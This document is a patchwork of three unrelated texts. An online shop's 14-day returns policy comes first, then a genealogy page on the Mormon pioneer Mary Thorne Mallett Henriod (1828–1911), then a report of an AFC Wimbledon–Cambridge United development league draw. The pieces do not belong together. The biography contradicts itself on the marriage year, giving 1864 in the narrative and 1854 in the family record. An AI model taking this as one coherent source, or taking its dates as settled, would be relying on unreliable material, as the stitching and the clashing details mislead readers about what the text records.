We try to continually bring newness into our store. Our clients prefer that we bring a quality of different products, rather than a large quantity of the same product. It is for this reason that all returns must be made within 14 days of purchase for store credit only. Unfortunately, we do not accept returns after the 14-day period.
Items must be unworn, unwashed, undamaged, unused, and with all original tags and accessories attached.
Return package must be dated within 14 days of the order being received, otherwise store credit will be issued.
When an item is returned, shipping charges are not refunded. You are responsible for the costs of shipping any item back to Wild Dove.
If any returns do not meet the above listed requirements, you will be contacted and the items will be returned to you immediately at the customer's cost. We reserve the right to refuse a refund if the items have any signs of wear, alterations, misuse or damage.
Neatly repackage your items with receipt that came with your purchase.
Once we receive the returned goods with the 14-day return window, we will send you an email notifying you that your items have been received and are in acceptable condition for a return. Your payment will be refunded back to the original method of payment within 10 days.


text:
Afrikaans Dansk Deutsch English Espanol Francais Norsk Svenska
Mary Thorne MALLETT
Name Mary Thorne MALLETT
Born 11 Jun 1828 Barnstaple, Devon, England
Alternate Name Henriod
Died 31 Mar 1911 American Fork, Utah, USA
History of Mary Thorne Mallett Henriod
DIED:Age 83
PIONEER: Crossed the plains in 1853 in Captain Cyrus Wheelock's Company of 60 wagons and walked every step of the way. Arrived in Salt Like City 6 October 1853, conference day.
Mary was the 7th of 11 children (two sets of twins in this family), born 11 June 1828 in Barnstaple, Devonshire, England. Her father owned a Ironmonger & builders business (selling iron works such as hammers, nails, seeds building materials, etc.). They lived on Joy St. at first, and then on High St. which is a main street, (information taken from Barnstaple Business Directory, 1823-24 & 1830 copy in poss. of Cheri P. Theurer) business on street level, residence above. High St. was listed as their residence when twin girls Emily and Ann died at 2 months old, 13 March 1836, (taken from Cemetery Records of Barnstaple). Her Uncle John Mallett was a jeweler and Clockmaker in Barnstaple, (information taken from List of Makers in Alphabetical Order, Page 260). Her father Henry may also have helped his brother John in the Jewelry business according to (history by Helen Adamson Miller-GGdau). Her mother died when she was 17. She was raised in the Church of England and worshipped at Vica of St. Peters Parish Church with Holy Trinity (built 1318 AD) with its twisted spire. (Par Reg. rec. for birthdates, by corr Rec. D.T.M. Tibbetts). She was educated, had high morals, and could speak the French language.
Mormon Elders taught Mary the gospel and she and her sister Catherine were converted, she was 21. Mary was a milliner by trade, and she had a copper business card made with her name, trade and town engraved on it, now in poss. of Cheri P. Theurer. Her business was in Jersey, England. In a book 'Pioneer Missionary' by Curtis Edwin Bolton and compiled by Cleo H. Evans, Call No. M270.1, B639e, Curtis Bolton has some journal entries and he describes the Island of Jersey as a very small island about 37 miles in circumference, a bold rocky shore and the sea around it studded with rock in every direction forming an exceeding dangerous navigation. The soil for the most part is richer than that of France or England. The climate temperate, no severe freezing weather. Geraniums winter in the open garden (page 100). He met Mary and Catherine there and speaks of them several times in his journal. He mentions 120 Mormons meeting on one occasion. He describes Mary and her sister as two lovely daughters of God with minds deep on the things of eternity and truly divine deportment. He mentions her singing in a meeting.
Mary's father was bitterly opposed to her joining The Church of Jesus Christ of Latter-day Saints and when she decided to go to Utah to be with the Saints her father told her if she left he would never write to her, he never did. Curtis Bolton describes the event of her leaving briefly in his journal (page 128-129).
Mary was one of seven women that Pres. John Taylor placed in the care of Eugene A. Henriod for their safe journey from Liverpool, England to America on the ship Elvira Owen which sailed for America on February 15, 1853 with 345 saints aboard. Small pox broke out on the ship shortly after leaving Liverpool. They had five weeks of tempestuous weather and one week of absolute calm. They arrived in New Orleans on March 31, 1853 and went by steamer up the Mississippi River to Keokuk, Iowa, the official stopping place for the Saints going to Salt Lake. They were detained 6 weeks waiting for teams and wagons for the trek. She crossed the plains in 1853 in Captain Cyrus H. Wheelock's Company with Isaac Haight and Jacob Gates, returning missionaries. There were 50 wagons for provisions and those that needed help but Mary walked every step of the way. Briefly, they had the same experience with the Indians as all travelers crossing the plains. She arrived in Salt take City on 6 October 1853, Conference day, glad to find And obtain rest.
On 11 Dec 1853 she was given a Patriarchal blessing by John Smith, in which she was promised power to heal the sick, cast out devils ad even to raise the dead if it be necessary. She was a natural born nurse and many times she realized the power to heal the sick as she had been promised,
Mary married Eugene A. Henriod, 5 November 1864, in the Endowment House, married by President Brigham Young, he also wrote 25 Sep 1857 (writings of E.A. Henriod, EH Slgs to spouse & Bible of E.A. Henriod have 5 Nov. 1864). She and her husband lived in Salt Like City until 1855 when President Brigham Young advised them to locate in American Fork in time to fight the grasshoppers and eat sego and other roots and open up the area. Her husband was called on a mission to France in 1860, leaving her with 3 small children and another on the way. She was blessed with 8 children, one died at birth, one died at 7 months old.
Mary kept a photo album with pictures of almost All of her brothers and sisters, she wrote the names and birthdates of all of them on a front page in that book. Some of the history is taken from Eugene A. Henriod's writings, on file located in the Historical Office, Holograph 4pp. 26.7 cm. HDC (Ms d 2050 bx 4 fd 7 #6, and a history by Helen Adamson Miller-Great Grand-daughter.
Person ID I684 Southwest
Last Modified 5 Mar 2017
Father Henry MALLETT, b. 02 Dec 1790, Frithelstock, Devon, England , d. 12 Nov 1868, Brompton, London, England (Age 77 years)
Mother Mary BRIMACOMBE, b. 1794, Holsworthy, Devon, England , d. 1845, St Helier, Jersey, Channel Islands (Age 51 years)
Married 12 May 1818 Holsworthy, Devon, England
Family Eugene Alphonse HENRIOD, b. 09 Mar 1833, Havre de Grace, France
Married 05 Nov 1854 Salt Lake City, Utah, USA
Last Modified 1 Nov 2019
Born - 11 Jun 1828 - Barnstaple, Devon, England
Married - 05 Nov 1854 - Salt Lake City, Utah, USA
Died - 31 Mar 1911 - American Fork, Utah, USA
Mary Thorne Mallett Henriod
Photograph from the album of Beryl Bigler Bowers (granddaughter).
Courtesy Beryl Bigler Bowers and Karl Whittington.
Mary Mallett's Business Card
Copper plate used to engrave Mary Thorne Mallett's business cards when she was a young woman living in Jersey (reversed so you can read it). Now owned by Cheri Theurer.
Courtesy Cheri Theurer and Karl Whittington.
Mary Thorne and Catherine
Mary Thorne Mallett Henriod and her sister Catherine (Mallett) Larkin.
Photograph taken by E.R. Savage, Salt Lake City, Utah from the album of Beryl Bigler Bowers.
Courtesy Karl Whittington.
Henriods Eugene, Mary & Eugene
Snapshot of Mary Thorne Mallett Henriod and Eugene Alphonso Henriod standing in front of their home in American Fork, Utah. On the left is their son Eugene Henry Henriod.
Mary T Mallett Needlepoint
Needlepoint sampler created by Mary Thorne Mallett about 1837, age 9.
Courtesy Madeleine Hicks and Karl Whittington.
Mary T Henriod In Memoriam
Funeral Card for Mary Thorne Mallett Henriod (now in possession of Cheri Theurer).
Funeral Card (cover) for Mary Thorne Mallett Henriod (now in possession of Cheri Theurer).
Mary T Henriod Obituary
Obituary for Mary Thorne Mallett Henriod from the American Fork Citizen newspaper. This was scanned from a microfilm found at the Family History Library at Brigham Young University (from a microfilmed scrapbook). It cannot be found at any other location.
Christmas Greetings 1908
Christmas card sent by "Harry" Mallett to his sister Mary Thorne Mallett Henriod in 1908 (now in the possession of Gwen Young).
Courtesy Gwen Young and Karl Whittington.
American Fork Map c 1855
Hand drawn map of the original settlement, showing the locations of the original settlers dated 1855 to 1858.
Copyright © 2019 Mallett Family History.
This page was produced by TNG v.11.1.2.


James Shea and Andy Barcham both staked claims to be back in the first-team reckoning as AFC Wimbledon were held by Cambridge United in the Final Third Development League.
In a keenly-contested match that ended 0-0, Shea performed with credit for the full 90 minutes and made two excellent saves, one in each half. Barcham (pictured) also had a satisfactory return after two months out with a serious knee injury as he played for 77 minutes in front of the watching Neal Ardley.
Both clubs took this match very seriously with plenty of players having Football League experience. The inclusions of Shea, who had also been out since October with a groin injury, and Andy Barcham bumped up Wimbledon's average age and it was a strong Dons starting line-up against Cambridge. Though only Shea and Barcham were over the age of 21, eight of Wimbledon's 11 had played in League 2. Cambridge included experienced trio Josh Coulson, Liam Hughes and Ryan Donaldson in their side.
Cambridge showing plenty of attacking threat early on and Shea was almost picking the ball out of the net after just 10 minutes when Ryan Horne struck a fine effort that bounced back off a post. Young defender Callum Wilson showed good attacking qualities when he made a good block to stop former Blackburn striker Jordan Slew and Shea was very vocal in organising the defence on his return.
There was a setback just before the half hour for the Dons with full-back George Pilbeam having to go off injured and he was replaced by Paul Kalambayi, who slotted in at centre-back with Wilson switching to right-back.
Barcham produced one of his trademark lung-bursting runs down the left in the first-half and showed plenty of desire to track back whenever required, but it was all about fitness for the winger after two months without a game.
Toyosi Olusanya, who starred in AFC Wimbledon's FA Youth Cup win on Friday, once again showed his pace down the flank when he burst past two or three challenges, but his cross was too close to Cambridge goalkeeper Chris Dunn. During an evenly-contested first-half, Horne got behind Wimbledon's defence, but dragged his shot wide from close range. Kalambayi, who looks so assured at this level for one so young, then showed good anticipation to stop Slew going through on goal.
Just before half-time, Shea showed the goalkeeping qualities that had made him AFC Wimbledon's number one when he dived full stretch to his right to tip Robbie Simpson's free-kick around a post.
The second-half started with Cambridge on the front foot and Shea had to be alert to palm away a dangerous cross from the right. Wimbledon made another substitution on the hour with Olusanya replaced by his Under-18 team-mate Dan Ano.
As we reached the hour mark, chances had been few and far between in the second-half, but Wimbledon's defence, marshalled well by Sweeney, had to stay resilient. And there was certainly no holding back from Barcham after so long out as he demonstrated by one crunching challenge on Simpson.
It had certainly been a competitive second-half with neither side willing to back down. Christian Toonga started to get on the ball more in midfield after the break, but chances were proving tough to come by for Wimbledon. Barcham was withdrawn with 13 minutes to play and he could be well satisfied with his return as he produced a hard-working display that certainly blew away the cobwebs. Neset Bellikli entered the fray in place of Barcham.
The Dons were fortunate not to concede with 10 minutes left when Cambridge captain Coulson met a corner with a glancing near post header that bounced off the far post. In the latter stages, Shea was required to pull off an excellent point-blank save to deny Coulson and that was the last meaningful action in a draw that was perhaps a fair result in the end.
AFC Wimbledon: James Shea, George Pilbeam (Paul Kalambayi), Ben Harrison, Dan Gallagher, Ryan Sweeney, Callum Wilson, Egli Kaja, Christian Toonga, Toyosi Olusanya (Dan Ano), David Fitzpatrick, Andy Barcham (Neset Bellikli).